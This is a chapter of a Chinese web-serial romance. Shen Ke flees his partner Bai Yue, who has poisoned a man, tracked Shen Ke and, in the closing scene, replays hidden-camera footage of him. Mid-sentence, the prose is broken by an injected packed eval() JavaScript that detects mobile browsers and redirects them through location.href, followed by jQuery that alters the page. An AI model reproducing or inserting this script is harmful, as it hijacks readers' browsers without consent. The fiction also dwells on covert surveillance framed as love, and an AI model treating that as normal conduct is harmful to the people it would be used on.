沈恪坐在祈愿的车里，捏着那张出院单，一声不吭。
窗外路灯一盏盏往后退，光影在他脸上明明灭灭。他把出院单折了两折，塞进上衣口袋，自始至终没敢回头。
他知道，只要再回去，就走不了了。白越会留他，白越总有办法留他。说喜欢，说伤口痛，问“宝宝可以最后陪我一次”。他经不起那样的话，听一次，心软一次。
可他这次不能心软。
他怕自己一松劲，就再也硬不起心肠，怕明明知道对方是什么人，还是要一头撞上去。
“走吧。”他说。
祈愿导航到C市，挂挡踩油门，车安静地滑出去，像从水面上浮起来。
开出一段，沈恪忽然开口：“停一下。”
祈愿靠边停车。
沈恪低头去解手腕上的黑手环。手指不太听使唤，解到一半停住，指尖停了停，又把卡扣扣了回去，沉默几秒，再一次掰开。卡扣弹开时，腕骨上勒出了一圈浅红印子。
他把手环搁在杯架，看了两秒，又拿起来，拉开祈愿的储物箱放进去，关上，顿了顿，又轻轻拉开看了一眼，才彻底合上。
“这是白越给我的，”他声音很轻，“我想先放你这儿保管，我之后会再拿回来的。”
祈愿没说话，踩下油门，车子重新上路。
沈恪靠在椅背上，偏头望向窗外。
医院越来越远，白越越来越远。后视镜里，那栋楼缩成一个小灰点，拐过一个弯，彻底消失。
他忽然想起海上那天。
白越中了枪，还在往前走，血顺着裤腿淌下来，在甲板上拖出一道黏腻的痕。他走到自己面前，弯腰把人拽起来，揽进怀里，说“别怕，有我在”。
那时候他以为这就是爱。
现在他也知道，那确实是爱。只是爱里还裹着别的东西，毒药、算计、占有、控制。
爱是真的，脏的也是真的。他分不清哪个更重。
他只知道，自己必须先离开。
车开上高速，窗外的风景从城市变成田野，又变成了山。
***
回到家，沈恪推开门。
玄关鞋柜上蒙着一层薄灰。他把包放在地上，站在客厅中央环顾一圈。没人住的房子，会自己冷下去。家具都在原位，可空气像被抽走了一块，空得发慌。
他拿起扫把扫地。一停下来就会想，一想就头疼。
祈愿靠在门框上看了一会儿：“要帮忙吗？”
沈恪抬头笑了下：“不用啦。”
低头扫了两下，又停住，扫把杵在地上，人僵在原地，盯着那团灰发呆。
祈愿叹气，走到沙发边坐下：“说吧，你俩到底怎么回事。”
沈恪没说话，握扫把的手紧了紧。
“在我面前还装？”
沈恪把扫把靠回墙边，挨着他坐下，低头盯着自己的手指。指甲剪得很短，是白越剪的。那天他手腕受伤，白越怕他刮到伤口，剪得很慢，剪完还用指腹轻轻蹭过边缘，怕有毛刺。
他猛地收回手，塞进兜里。
“祈愿，我能不能拜托你一件事？”
“你拜托我的还少？”
沈恪耳尖微微发红，声音更小：“我也会帮你的。”
祈愿伸手在他额头上弹了一下：“有话直说。”
“能不能帮我买张大巴票？用你的身份，我怕白越查到我。”
祈愿上下打量他一遍，神色慢慢沉了：“你真要跑？决定好了？”
“不是！”沈恪急着反驳，声音拔高，又迅速压下去，“就……去一个没人认识我的地方待一阵，开学再回来。那时候我应该就想好了。”
他低下头，声音闷闷的：“如果白越联系你，你再告诉我一声就好……”
“方便你接着跑？”
“方便我面对。”沈恪轻轻说，“我要攒一点勇气，做好了心理准备再去见白越。”
祈愿长长叹了口气：“你白痴？明明是你救了他，搞得这么小心翼翼干什么。”
沈恪茫然抬头。
“不是你，他现在就是个在逃杀人犯。”
沈恪愣了片刻，嘴唇动了动，没说出一个字。
祈愿摸出烟盒，叼了一根没点：“什么时候走？”
沈恪把目光移到窗帘上。外面还是黑的，路灯在地板上割出一块一块冷光。
“等天亮。”
祈愿把烟塞回去，起身拍了拍裤腿：“行，我现在去汽车站买票。你别乱跑。”
走两步，他停住，没回头。
“沈恪。”
沈恪抬头。
“逃避有用，但你得真的想跑才行。”
门关上。
沈恪没懂。他坐在沙发上，盯着那扇门看了很久。窗帘没拉，天依旧黑着。手机屏幕无声地亮着，时间跳到了四点零三分。
他靠在沙发背上闭上眼。扫把还靠在墙边，地上那团灰还在。他扫了很久，没扫干净，也没再扫。
反正再过几个小时，就要走了。
扫不扫的，好像也无所谓了。
沈恪点开温清然的号码，手指悬在屏幕上。
温清然这人说话没谱，满嘴跑火车，问十句答不出半句真话。可他还是打了电话过去。
电话响了好几声才接。
“哟，终于舍得打给我了？是不是想我……”
“温清然。白越对你下毒的时候，”沈恪打断他，声音发紧，“你难过吗？”
电话那头忽然安静了。
所有的嘈杂声都消失了，好像温清然用手捂住了话筒。仪器滴答的声音隔着听筒传来，一下一下，像心跳。
安静了大概有十秒，温清然笑了，笑声夸张又刺耳：“难过？我又不喜欢他，难过得着吗？”
顿了顿，声音冷了点：“但他想杀我，这事我记一辈子。”
沈恪握着手机，指尖发凉。
恨是烫的，记着是冷的，像一把刀藏在枕头下，不拿出来，却一直都在。
“你不会真的问了他这个事吧？”温清然忽然发问，“他没对你做什么？”
“……白越没做什么，”沈恪轻声道，“但他很难受。”
温清然笑了一声，那笑声和之前不一样，短促，干涩，像被什么东西噎住了。然后忽然炸开——
“哦豁嚯嚯嚯嚯嚯嚯嚯嚯哈哈哈哈哈哈哈哈——！”
震得沈恪把手机拿远了一点。
“妈的活该啊！我靠！恶人自有天收啊！好好好好好爽了爽了就该这样！”
沈恪始终沉默着。
温清然笑够了，语气忽然淡了下来。不贱了，也不笑了：“早和你说了这人不正常，你非不信。现在撞南墙了吧？”
沈恪想反驳，张了张嘴，没发出声音。
他没什么可反驳的。
白越确实不正常，他早就知道，只是一直骗自己，白越只是太爱了。
“我和白越……”
“停，我知道你要说什么。”温清然打断他，“别问我，我不想答。”
沈恪愣了一下。
电话那头沉默了两秒。然后温清然又恢复了那副吊儿郎当的语气：“当然你要是愧疚的话，跟他分了跑来和我过也行。反正你现在用的也是我的身子，四舍五入就是我自己和自己谈恋爱，多省事。”
他说完还笑了两声，但那笑声里没有之前那种夸张的劲头，轻飘飘的，像在敷衍。
沈恪没接话。
温清然等了两秒，啧了一声：“行吧，不好笑。”
“反正你现在也知道他什么人了，”温清然声音压得很低，“我劝你赶紧跑路。”
“白越还没疯到那种程度，你跑了他应该也不会拿你怎么样。”温清然又补了一句，“更何况他现在大概也不敢见你。”
“……好，谢谢。”
沈恪挂了电话，简单收拾了行李，坐在床边发呆。
脑子里翻来覆去就是那些事：白越杀过人。白越救过他。白越在他身上装定位器。白越为了他中枪。白越说，你是我想要的。
每一件都是真的，拼在一起却格格不入，像两块咬合不上的拼图，硬按也按不进去。
要跑吗？能跑到哪去。白越会找到他，白越总能找到他。
手机亮了。
【白越】晚安。
就两个字。没有“宝宝”，没有表情包。
沈恪盯着那两个字，盯了很久。
白越连“宝宝”都不敢叫了。
他是真的在怕，怕自己推开他。
沈恪把手机倒扣在床上，翻身把脸埋进枕头。
睁眼，闭眼，折腾到天快蒙蒙亮，他终于累了。
或许……跑了才是对的？逃避虽然可耻但是有用。
只要跑了，就能暂时离开白越的视线，离开那些喘不过气的问题，一个人待上几天或者一个月，什么都不想。
想明白了就回来。想不明白……再说。
***
医院的夜晚实在过于安静。
白越发完“晚安”，对话框停在已发送，没有下文。
沈恪当然不会回复。他已经被自己吓到了，他开始怀疑自己对他是不是也会像对待温清然一样了。
这个傻子。
白越垂下脑袋。
怎么可能谁都和他一样。
指尖点开转账界面，收款名字依旧是××然。
沈恪没有删他。
白越松了一口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456254|198096||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气。屏幕的光落在他脸上，冷白色的，把眉骨的阴影拉得很长。病房里没开灯，窗帘拉死了，只有带过来的笔记本电脑在嗡嗡地响。
白越看了一眼放在边上的电脑，他点开隐藏文件夹，调出半年前的监控。
鼠标滚轮往上，停在某一段。
画面里的沈恪正趴在床上，手机搁在枕头边，屏幕亮着，像是在等谁的消息。等了很久，翻了个身，把脸埋进被子里。
白越把声音调大。
被子底下传来闷闷的一声哼唧，像小动物被踩了尾巴。
白越把进度条往回拖了一点，又听了一遍。
那个声音很短，不到两秒。像是不耐烦，又像是撒娇，尾音往上翘，翘到一半就断了，赶紧收住了。
白越盯着屏幕里那团隆起的被子。画面是黑白的，红外摄像把一切都染成灰绿色。那团被子动了一下，又动了一下，最后从里面伸出一只手，摸到手机，举到眼前。
屏幕的光照亮了那张在笑的脸。
眼睛弯成两道缝，嘴唇微微张开，露出一排整齐的白牙。那笑容太亮了，亮到在白越的屏幕上，灰绿色的画面里忽然就有了温度。
白越的呼吸轻了一瞬。
那个人在打字。指尖戳着屏幕，戳得很用力，像是在和什么人生气，又像是在撒娇。打完了，盯着屏幕看了两秒，忽然把手机扣在胸口，整个人又缩回了被子里。
过了几秒，被子底下传来一声闷闷的笑。
白越往后靠在床上，目光还落在屏幕上。那个人又从被子里探出来，拿起手机，看了一眼，又开始打字。
白越拿起自己的手机。
和温清然的记录早删干净了，只剩下沈恪发来的那些。
他往下翻，手指比眼睛先找到那几条消息。即便不用看，指尖记得该停在哪里。
【然】白越，你睡了吗？
白越盯着那行字，看了好几秒，然后开始往下划。
【白越】没有。
【白越】怎么了，宝宝？
【然】我没事啊，就是有点开心嘿嘿。
【然】你也早点睡噢，明天还要上课呢。
【然】晚安晚安！
【白越】晚安，宝宝，做个好梦。
白越把聊天记录划到最上面，又往下划了一遍。
沈恪的每一条信息后面都跟着软乎乎的表情包。小猫的，小狗的，圆滚滚的，眼睛大大的，和那个人的眼睛一样。
他继续往下翻。
【白越】宝宝。
【白越】我有点睡不着。
【然】啊？是不是哪里不舒服？要不要紧啊？
【然】要不要喝点热水？或者我帮你搜一下失眠怎么办？
【然】我以前也睡不着，有人和我说可以数羊。
【然】但我数着数着就会想，羊在草地上跑，会不会踩到屎。
【然】然后就更睡不着了。
白越看着那行字，嘴角动了一下，鼻尖不知道怎么的开始泛酸了。
怎么会有人安慰人的方式是你多喝热水的。
【白越】你数到几只了？
【然】不告诉你！
【然】你快去睡啦，不然明天起不来了。
【然】我也要睡了！
【然】这次是真的！
【然】……
【然】晚安。
白越看着屏幕，把那个人的头像点开。是一只小鸡，圆滚滚的，嘴角翘着，和那个人笑起来的样子一模一样。
他盯着那只小鸡看了很久。
然后他发现自己忘记听那个人发的上一条语音了。
他把语音点开，听了一遍。又把进度条拖回去，又听了一遍。
沈恪的声音很轻：“白越，你人好好啊，还好有你在。”
他记得这条语音。国庆节的当天，他刚在巷子里把这个人按在墙上亲过，吓得他发抖。
当晚回到酒店，他打开手机，象征性地说了几句好话，就听见这个声音说“你人好好啊”。
他当时想：白天被吓成那样，晚上还对他说这种话。
真好骗。
但他没删那条语音。一遍一遍地听，听到后来，他想的是另一件事——
再委屈一点，再可怜一点，再依赖一点，再多利用我一点。
直到你真的忘记了自己是谁。
他不知道他那时候就已经停不下来了，只觉得这人会是绝佳的消遣。
一遍。再一遍。
他听了很多遍，不够，不够，怎么都听不够。
直到白越发现自己已经屏息了太久，他才将手机倒扣过来放在桌面上，闭上了眼睛。
睡不着。
我好想你。